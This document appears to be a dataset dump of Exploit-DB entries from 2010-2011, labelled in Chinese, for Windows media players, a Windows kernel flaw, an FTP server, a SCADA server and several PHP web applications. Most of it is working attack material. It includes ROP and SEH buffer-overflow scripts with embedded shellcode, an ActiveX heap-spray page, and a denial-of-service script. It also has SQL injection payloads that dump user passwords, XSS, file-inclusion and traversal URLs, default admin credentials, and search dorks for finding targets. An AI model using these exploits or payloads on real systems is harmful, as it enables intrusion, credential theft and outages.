QLWD/code_shield huggingface dataset:
标题: CoolPlayer 2.18 - DEP Bypass EDB-ID: 15895 CVE: 2008-3408 类型: LOCAL 平台: WINDOWS 发布日期: 2011-01-02 漏洞利用脚本: # Exploit Title: CoolPlayer 2.18 DEP Bypass
# Date: January 2, 2011
# Author: Blake
# Version: 2.18
# Tested on: Windows XP SP3 running in Virtualbox
# Uses SetProcessDEPPolicy() to disable DEP for the process
# Thanks to mr_me for the encouragement
# Exploit-DB Notes: May not work on all Win XP SP3 machines

print "\n============================"
print "CoolPlayer 2.18 DEP Bypass"
print "Written by Blake"
print "============================\n"

# windows/exec calc.exe 227 bytes - 240 bytes of shellcode space available
shellcode =(
"\xda\xda\xd9\x74\x24\xf4\xbf\xe7\x18\x22\xfb\x2b\xc9\xb1\x33"
"\x5e\x31\x7e\x17\x83\xee\xfc\x03\x99\x0b\xc0\x0e\x99\xc4\x8d"
"\xf1\x61\x15\xee\x78\x84\x24\x3c\x1e\xcd\x15\xf0\x54\x83\x95"
"\x7b\x38\x37\x2d\x09\x95\x38\x86\xa4\xc3\x77\x17\x09\xcc\xdb"
"\xdb\x0b\xb0\x21\x08\xec\x89\xea\x5d\xed\xce\x16\xad\xbf\x87"
"\x5d\x1c\x50\xa3\x23\x9d\x51\x63\x28\x9d\x29\x06\xee\x6a\x80"
"\x09\x3e\xc2\x9f\x42\xa6\x68\xc7\x72\xd7\xbd\x1b\x4e\x9e\xca"
"\xe8\x24\x21\x1b\x21\xc4\x10\x63\xee\xfb\x9d\x6e\xee\x3c\x19"
"\x91\x85\x36\x5a\x2c\x9e\x8c\x21\xea\x2b\x11\x81\x79\x8b\xf1"
"\x30\xad\x4a\x71\x3e\x1a\x18\xdd\x22\x9d\xcd\x55\x5e\x16\xf0"
"\xb9\xd7\x6c\xd7\x1d\xbc\x37\x76\x07\x18\x99\x87\x57\xc4\x46"
"\x22\x13\xe6\x93\x54\x7e\x6c\x65\xd4\x04\xc9\x65\xe6\x06\x79"
"\x0e\xd7\x8d\x16\x49\xe8\x47\x53\xab\x19\x5a\x49\x3c\x80\x0f"
"\x30\x20\x33\xfa\x76\x5d\xb0\x0f\x06\x9a\xa8\x65\x03\xe6\x6e"
"\x95\x79\x77\x1b\x99\x2e\x78\x0e\xfa\xb1\xea\xd2\xd3\x54\x8b"
"\x71\x2c")


buffer = "\x41" * 220
eip = "\x28\xb0\x9f\x7c"    # POP ECX / RETN - SHELL32.DLL 7C9FB028
offset1 = "\x42" * 4
nop = "\x90" * 10

# put zero in EBX
rop = "\xdd\xad\x9e\x7c"    # POP EBX / RETN - SHELL32.DLL 7C9EADDD
rop += "\xff\xff\xff\xff"    # placed into ebx
rop += "\xe1\x27\xc1\x77"    # INC EBX / RETN - MSVCRT.DLL 77C127E1

# set EBP to point to SetProcessDEPPolicy
rop += "\x7b\xa6\x9e\x7c"    # POP EBP / RETN - SHELL32.DLL 7C9EA67B
rop += "\xa4\x22\x86\x7c"    # address of SetProcessDEPPolicy XP SP3

# set EDI as a pointer to RET (rop nop)
rop += "\x47\xeb\x9e\x7c"    # POP EDI / RETN - SHELL32.DLL 7C9EEB47
rop += "\x08\x15\x9c\x7c"    # RETN - SHELL32.DLL 7C9C1508   

# set ESI as a pointer to RET (rop nop)
rop += "\x4c\x20\x9c\x7c"    # POP ESI / RETN - SHELL32.DLL 7C9C204C
rop += "\x51\x20\x9c\x7c"    # RETN - SHELL32.DLL 7C9C2051   

# set ESP to point at nops
rop += "\x73\x10\xa1\x7c"    # PUSHAD / RETN - SHELL32.DLL 7CA11073

print "[*] Creating malicious m3u file"
try:
 file = open("exploit.m3u","w")
 file.write(buffer + eip + offset1 + rop + nop + shellcode)
 file.close()
 print "[*] File created"
except:
 print "[x] Error creating file!"

raw_input("\nPress any key to exit...") URL: https://www.exploit-db.com/exploits/15895
标题: Music Animation Machine MIDI Player - Local Buffer Overflow (SEH) EDB-ID: 15901 CVE: 2011-0501 类型: LOCAL 平台: WINDOWS 发布日期: 2011-01-04 漏洞利用脚本: # Exploit Title: Music Animation Machine MIDI Player MAMX SEH BOF
# Date 1/4/2011
# Author: Acidgen  mailto:spam(a t h)grayhat.se
# Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip
# Version: 2006aug19 Release 035
# Tested on: Windows XP SP2 SE (Virtualbox Version: 3.2.10  Build:r66523)
# Credits go to c0d3R'Z, without his released MIDI POC/DoS 
# (http://www.exploit-db.com/exploits/15897/)
# I wouldn't have found this app to play with in the first place. 



#!/usr/bin/python


junk='\x41' * 112
seh='\xeb\x06\x90\x90'
pad='\x90' * 10
junk2='\x42' * 9496

# Sorry for this quick and dirty one;
# CALL DWORD PTR SS: EBP+C @ VBOXMRXN.DLL 
# When in Doubt, find your own pop,pop,ret
# VBOXMRXN.DLL Virtualbox Version: 3.2.10  Build:r66523
nseh='\xe5\xbd\x01\x10' 

 
# msfpayload windows/messagebox
# badchars \x00\xff\x1a\x0d\x0a\x09\x0b\x0c\x20
# [*] x86/shikata_ga_nai succeeded with size 364 (iteration=1)

pl=("\xd9\xce\xd9\x74\x24\xf4\x5b\x2b\xc9\xb8\xf4\x3a\xec\x53"
"\xb1\x55\x31\x43\x18\x83\xc3\x04\x03\x43\xe0\xd8\x19\x8a"
"\xe3\x86\x3b\x59\xd7\x4c\x8a\x70\xa5\xda\xdc\xbd\xad\xaf"
"\x6e\x0e\xa6\xc6\x9c\xe5\xce\x3a\x16\xbf\x26\xc8\x56\x60"
"\xbd\xf8\x9e\x2f\xd9\x71\x2c\xf6\xd8\xa8\x2d\xe8\xba\xc1"
"\xbe\xcf\x1e\x5d\x7b\x2c\xd5\x35\xac\x34\xe8\x5f\x27\x8e"
"\xf2\x14\x62\x2f\x03\xc0\x70\x1b\x4a\x9d\x43\xef\x4d\x4f"
"\x9a\x10\x7c\x4f\x21\x42\xfa\x8f\xae\x9c\xc3\xdf\x42\xa2"
"\x04\x34\xa8\x9f\xf6\xef\x79\x95\xe7\x7b\x23\x71\xe6\x90"
"\xb2\xf2\xe4\x2d\xb0\x5f\xe8\xb0\x2d\xd4\x14\x38\xb0\x03"
"\x9d\x7a\x97\xcf\xfc\x41\x65\xe7\xd7\x91\x03\x1d\xae\xd8"
"\x7c\x50\xfe\xd2\x90\x3e\x16\x75\x97\x40\x19\x03\x2d\xbb"
"\x5e\x6a\x76\x21\xd3\x14\x9a\x82\x41\xf3\x2d\x35\x9a\xfc"
"\xbb\x8f\x6c\x6b\xd0\x63\x4c\x2a\x40\x4f\xbe\x82\xf4\xc7"
"\xcb\xa9\x91\x65\xbb\x12\x7e\x80\x32\x4c\x28\x6b\x11\x95"
"\x5c\x51\xc9\x2e\xf6\xf4\xa4\xec\x80\xe5\x12\x5f\x67\x74"
"\xa5\xa0\x88\x1f\x6a\x6a\x2f\xc0\xe4\xf5\xbc\x65\xc4\x9d"
"\x10\x03\x48\x3b\xfd\x89\xdf\x85\xdd\x65\x8c\x4c\x56\x56"
"\x5a\x26\x08\xf3\xba\xd0\x99\x9a\xd9\x48\x4a\x34\x72\xe7"
"\xaa\xae\xe5\x9a\xcb\x5a\x9d\x07\x2c\xe2\x33\xa0\x61\x91"
"\xb8\x59\x4b\x82\xb6\xc6\x8f\x1e\x4f\x15\xa7\x39\x2a\xb4"
"\x60\xae\xf5\x2b\xf8\x4a\x9d\x8b\x98\xeb\x7d\xa4\x72\x48"
"\x31\x78\xe3\x1d\x9b\xd8\xbd\xf5\x4d\x9b\x0e\x5e\x19\x3b"
"\xf0\x2a\xf9\x53\x94\xa1\x9c\xd7\x30\x3f\x7e\x77\xa7\xd7"
"\x3a\xee\x55\x5c\xf3\x39\x11\xd0\xd7\x9e\xab\x08\x26\x33"
"\xc1\x8a\x1b\xe2\x44\xf4\x4b\x35\xa9\x5a\x94\x63\x21\x51")

buff=junk+seh+nseh+pad+pl+pad+junk2


try:
 filename = "crash.mamx"
 print "[-]Music Animation Machine MIDI Player mamx SEH BOF..."
 print "[-]Version:035 Release name: MAMPlayer2006-aug-19_035"
 print "[-]Author: Acidgen\n"
 print "[*]Generating crashfile:" + filename
 file = open(filename,"w")
 file.writelines(buff)
 file.close()
 print "[*]Done\n"

except:
 print "[X]Error..." URL: https://www.exploit-db.com/exploits/15901
标题: GALLARIFIC PHP Photo Gallery Script - 'gallery.php' SQL Injection EDB-ID: 15891 CVE: 2011-0519 类型: WEBAPPS 平台: PHP 发布日期: 2011-01-02 漏洞利用脚本: GALLARIFIC PHP Photo Gallery Script (gallery.php) Sql Injection Vulnerability 
=================================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.gallarific.com/download.php
.:. Dork           : inurl:"/gadmin/index.php"

####################################################################

===[ Exploit ]===

www.site.com/gallery.php?id=null[Sql Injection]

www.site.com/gallery.php?id=null+and+1=2+union+select+1,group_concat(userid,0x3a,username,0x3a,password),3,4,5,6,7,8+from+gallarific_users--

===[ Admin Panel ]===

www.site.com/gadmin/index.php

#################################################################### URL: https://www.exploit-db.com/exploits/15891
标题: Microsoft Windows - Class Handling (MS10-073) EDB-ID: 15894 CVE: 2010-2744 类型: DOS 平台: WINDOWS 发布日期: 2011-01-02 漏洞利用脚本: #include <windows.h>

/*
Source:
http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/
*/

int main(int argc, char **argv)
{
 WNDCLASSA Class = {0};
 CREATESTRUCTA Cs = {0};
 FARPROC MenuWindowProcA;
 HMODULE hModule;
 HWND hWindow;

 Class.lpfnWndProc = DefWindowProc;
 Class.lpszClassName = "Class";
 Class.cbWndExtra = sizeof(PVOID);

 RegisterClassA(&Class);

 hModule = LoadLibraryA("USER32.DLL");

 MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");

 hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);

 // set the pointer value of the (soon to be) popup menu structure
 SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);

 // set WND->fnid = FNID_MENU
 MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);

 // trigger -> ExPoolFree(0x80808080)
 DestroyWindow(hWindow);

 return 0;
} URL: https://www.exploit-db.com/exploits/15894
标题: Music Animation Machine MIDI Player - Local Crash (PoC) EDB-ID: 15897 CVE: 2011-0502 类型: DOS 平台: WINDOWS 发布日期: 2011-01-03 漏洞利用脚本: # Exploit Title: Music Animation Machine MIDI Player Local Crash PoC
# Date: 1/3/2011
# Author: c0d3R'Z
# Software Link: http://www.musanim.com/player/MAMPlayer2006aug19_035.zip
# Version: Release 035
# Tested on: Windows XP SP2 EN (VirtualBox)

 
# The application crashes when trys to convert a malformed midi file
 
#!/usr/bin/python
 
buffer     = "\x31\x33\x33\x37" * 1337
 
try:
    f = open("test.mid",'w')
    f.write(buffer)
    f.close()
 
    print " Vulnerable file created!..."
    print " Open the mid file with the application and Voila!! , it crashes!!\n"
except:
    print "[-] Error occured!" URL: https://www.exploit-db.com/exploits/15897
标题: CA ARCserve D2D r15 - Web Service Servlet Code Execution EDB-ID: 15869 CVE: 2010-0219 类型: REMOTE 平台: WINDOWS 发布日期: 2010-12-30 漏洞利用脚本: Computer Associates ARCserve D2D r15 Web Service Apache Axis2 World Accessible Servlet 
Code Execution Vulnerability Poc

product homepage:
https://support.ca.com/phpdocs/0/8363/support/arcserved2d_support.html

vulnerability:
The Tomcat Server, which listens for incoming connections on port 8014,
carries a world accessible Apache Axis2 Web Service with default credentials.
Also, the web service port is added to firewall exceptions, allowing all 
computers, including those on the internet, to access the default Axis2 instance.

Check :
C:\Program Files\CA\ARCserve D2D\TOMCAT\webapps\WebServiceImpl\WEB-INF\conf\axis2.xml

It shows: 
<parameter name="userName">admin</parameter>
<parameter name="password">axis2</parameter>

By uploading a well-constructed .aar (axis2 service) file
by accessing the 

http://host:8014/WebServiceImpl/axis2-admin/upload

url, then interrogating it trough a SOAP request, is possible to execute arbitrary
code with NT AUTHOTITY\SYSTEM privileges.

poc:
as attachment a proof-of-concept written in php which automates the process
and an .aar file which remotely executes calc.exe

note:
this poc was sent to zdi vulnerability research program on 2010-07-03
together with pocs for the same vulnerability in:

- Hewlett Packard Universal CMDB Server 9.0 
- SAP BusinessObjects Crystal Reports Server 2008 

but refused with the motivation that they don't accept axis2 default credentials
vulnerabilities.
Note that in HP Universal CMDB this is limited by the presence of a basic auth
box on axis2 web services. However there is also a default user/password for this
which is 'admin/admin'.

I remember that this was reported in SAP by HD Moore and the Metasploit crew.

However, here we are. And two of three are unpatched.

proof of concept:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15869.zip (9sg_ca_d2d.zip) URL: https://www.exploit-db.com/exploits/15869
标题: TYPSoft FTP Server 1.10 - 'RETR' Denial of Service (2) EDB-ID: 15860 CVE: 2005-3294 类型: DOS 平台: WINDOWS 发布日期: 2010-12-29 漏洞利用脚本: #!/usr/bin/python
#
# TYPSoft FTP Server (v 1.10) RETR CMD Denial Of Service
#
# CVE-2005-3294
# OSVDB 19992
#
# 12/23/2010
# (C) Emanuele Gentili <emgent@backtrack-linux.org>
#
# Notes:
# I have wrote this exploit because the code published here (1) do not work correctly.
# (1) http://www.exploit-db.com/exploits/12604/
#

import socket
import sys

user="test"
pwd="test"
buffer="\x41"

print("\n TYPSoft FTP Server (V 1.10) RETR CMD Denial Of Service\n")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.109",21))
data = s.recv(1024)
print("[+] Sending user login...")
s.send("USER " + user + '\r\n')
data = s.recv(1024)
s.send("PASS " + pwd + '\r\n')
data = s.recv(1024)
print("[+] Sending first exploit stage...")
s.send("RETR " + buffer + '\r\n')
data = s.recv(1024)
print("[+] Sending second exploit stage...\n")
s.send("RETR " + buffer + '\r\n')
data = s.recv(1024)
s.close() URL: https://www.exploit-db.com/exploits/15860
标题: Microsoft WMITools - ActiveX Remote Command Execution EDB-ID: 15809 CVE: 2010-4588 2010-3973 类型: REMOTE 平台: WINDOWS 发布日期: 2010-12-22 漏洞利用脚本: Exploit-DB Notes:
Original credit goes to "牛奶坦克" via WooYun:
http://www.wooyun.org/bugs/wooyun-2010-01006

<html>

<object classid="clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08" id="target"></object>



<SCRIPT language="JavaScript">

//run calc.exe

var shellcode = unescape("%uc92b%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u0c13%u452b%u83df%ufceb%uf4e2%uc3f0%udf01%u2b0c%u9ace%ua030%uda39%u2a74%u54aa%u3343%u80ce%u2a2c%u96ae%u1f87%udece%u1ae2%u4685%uafa0%uab85%uea0b%ud28f%ue90d%u2bae%u7f37%udb61%uce79%u80ce%u2a28%ub9ae%u2787%u540e%u3753%u3444%u3787%udece%ua2e7%ufb19%ue808%u1f74%ua068%uef05%ueb89%ud33d%u6b87%u5449%u377c%u54e8%u2364%ud6ae%uab87%udff5%u2b0c%ub7ce%u7430%u2974%u7d6c%u27cc%ueb8f%u8f3e%udb64%udbcf%u4353%u21dd%u2586%u2012%u48eb%ub324%u2b6f%udf45%u0000");



//先喷好堆

var bigblock = unescape("%u0C0C%u0C0C");

var headersize = 20;

var slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (x=0; x<350; x++) memory[x] = block +shellcode;



//让程序直接call过去

target.AddContextRef(0x0c0c0c0c);

</script>

</html> URL: https://www.exploit-db.com/exploits/15809
标题: Habari Blog - Multiple Vulnerabilities EDB-ID: 15799 CVE: 2010-4608 2010-4607 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-21 漏洞利用脚本: Vulnerability ID: HTB22732
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_habari.html
Product: Habari
Vendor: Habari ( http://habariproject.org/en/ ) 
Vulnerable Version: 0.6.5
Vendor Notification: 02 December 2010 
Vulnerability Type: Path disclosure
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/system/admin/header.php" & "/system/admin/comments_items.php" script, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://[host]/system/admin/header.php
http://[host]/system/admin/comments_items.php

Solution: Upgrade to the most recent version


Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/system/admin/dash_status.php" script to properly sanitize user-supplied input in "status_data" variable when register_globals is on. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://habari/system/admin/dash_status.php?status_data[1]=<script>alert('XSS');</script>

Solution: Upgrade to the most recent version


Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/system/admin/dash_additem.php" script to properly sanitize user-supplied input in "additem_form" variable when register_globals is on. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://[host]/system/admin/dash_additem.php?additem_form=<script>alert('XSS');</script>

Solution: Upgrade to the most recent version URL: https://www.exploit-db.com/exploits/15799
标题: ecava IntegraXor 3.6.4000.0 - Directory Traversal EDB-ID: 15802 CVE: 2010-4598 类型: REMOTE 平台: WINDOWS 发布日期: 2010-12-21 漏洞利用脚本: Source: http://aluigi.org/adv/integraxor_1-adv.txt

#######################################################################

                             Luigi Auriemma

Application:  Ecava IntegraXor
              http://www.integraxor.com
Versions:     <= 3.6.4000.0
Platforms:    Windows
Bug :         directory traversal
Exploitation: remote, versus server
Date:         21 Dec 2010
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


IntegraXor is a web SCADA server used primarily in Malaysia.


#######################################################################

======
2) Bug
======


The "open" request can be used by an attacker to download files from
the disk where the server is installed through directory traversal
attacks.


#######################################################################

===========
3) The Code
===========


http://SERVER:7131/PROJECT_NAME/open?file_name=..\..\..\..\..\..\..\..\..\..\..\boot.ini

where PROJECT_NAME is the name of one of the projects hosted by the
server.


#######################################################################

======
4) Fix
======


No fix.


####################################################################### URL: https://www.exploit-db.com/exploits/15802
标题: PHP Web Scripts Ad Manager Pro 3.0 - SQL Injection EDB-ID: 15790 CVE: 2010-4843 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-20 漏洞利用脚本: # Vendor or Software Link: http://www.phpwebscripts.com/admanagerpro/
# Category:WebApp
# Version: 3
# Price: $99/$130/$325 USD
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members
###################################################################################################

Submit Your Exploit at Submit@1337db.com

###################################################################################################
[Product Details]

Ad Manager Pro runs on PHP and MySQL that allows you to get an indepth view including 
hourly, daily, monthly statistics with both text and graphics.
It allows you to use jpg, png, gif and swf format in your rotations and even plan text/html. 
Code: PHP 4.0 

[Vulnerability] 

SQL Injection:

http://server/website-page.php?pageId=[Code]
################################################################################################### URL: https://www.exploit-db.com/exploits/15790
标题: html-edit CMS - Multiple Vulnerabilities EDB-ID: 15800 CVE: 2010-4611 2010-4610 2010-4609 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-21 漏洞利用脚本: Vulnerability ID: HTB22734
Reference: http://www.htbridge.ch/advisory/sql_injection_in_html_edit_cms.html
Product: HTML-EDIT CMS
Vendor: html-edit web services ( http://www.html-edit.org/ ) 
Vulnerable Version: 3.1.8
Vendor Notification: 02 December 2010 
Vulnerability Type: SQL Injection
Status: Fixed by Vendor
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nuser variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/index.php?pageid=ext&ext=login&extpage=registrate" method="post" name="main" >
<input type="hidden" name="nuser" value="123'SQL_CODE"/>
<input type="hidden" name="npass" value="password"/>
<input type="hidden" name="renpass" value="password"/>
<input type="hidden" name="gvrg" value="1"/>
<input type="hidden" name="antw" value="2"/>
<input type="hidden" name="email" value="test@email.com"/>
<input type="submit" value="Registrate" name="submit" />
</form>

Solution: Upgrade to the most recent version


Vulnerability Details:
A remote user can determine the full path to the web root directory and other potentially sensitive information.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://htmledit/includes/core_files/pages.php
http://htmledit/includes/core_files/menu.php
http://htmledit/extensions/login/frontend/pages/antihacker.php

Solution: Upgrade to the most recent version


Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "error" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

http://[host]/index.php?error=<script>alert(document.cookie)</script>

Solution: Upgrade to the most recent version URL: https://www.exploit-db.com/exploits/15800
标题: Joomla! Component JotLoader 2.2.1 - Local File Inclusion EDB-ID: 15791 CVE: 2010-4617 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-20 漏洞利用脚本: )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
          .WEB.ID
-----------------------------------------------------------------------
  Joomla Component Jotloader 2.2.1 Local File Inclusion Vulnerability
-----------------------------------------------------------------------
Author   : v3n0m (v3n0m666[at]live[dot]com)
Site     : http://yogyacarderlink.web.id/
Date  : December, 20-2010
Location : Jakarta, Indonesia
Time Zone : GMT +7:00

Application : JotLoader
License  : GPLv2
Version  : 2.2.1 Other versions may also be affected
Vendor   : http://www.kanich.net/radio/site/jotloader
Google Dorks : inurl:com_jotloader

Exploit & p0c
_____________

**[LFI]
http://127.0.0.1/[path]/index.php?option=com_jotloader&section=[LFI]%00
_________________________________________________

All YOGYACARDERLINK Crew & My Beloved Jovita Andy
_________________________________________________ URL: https://www.exploit-db.com/exploits/15791
标题: Projekt Shop - 'details.php' Multiple SQL Injections EDB-ID: 15773 CVE: 2010-4845 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-18 漏洞利用脚本: +Name : Projekt Shop (details.php) <<= SQL injection Vulnerability
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : Projekt Shop
+Download : ----
+Site : http://www.mhproducts.de/php-scripte-5/projekt-shop.html
+Price : 49,90 Euro
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrior TIM =>> www.cyber-warrior.org
+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N and All KinqSqlZCrew
Members
---------------------------------------------------------------------------------------

Bize kafa tutarmış büyük hacker,
Kimlik yaşı 18 akıl yaşı 1 sen giderken biz dönüyoduk
Sen emzikle emeklerken biz exploit yazıyoduk :))

KinqSqlZCrew Akar....       Aklınıza Gideriz Aklınız Gider [ Aklı olmayanlar
alınmasın sonra karışıyor :D ]

----------------------------------------------------------------------------------------

Bug ;
target/path/details.php?ts=' [Sql Inj.]
target/path/?sayfa=arama&iller=&ilceler=[SQL INJ]

--------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15773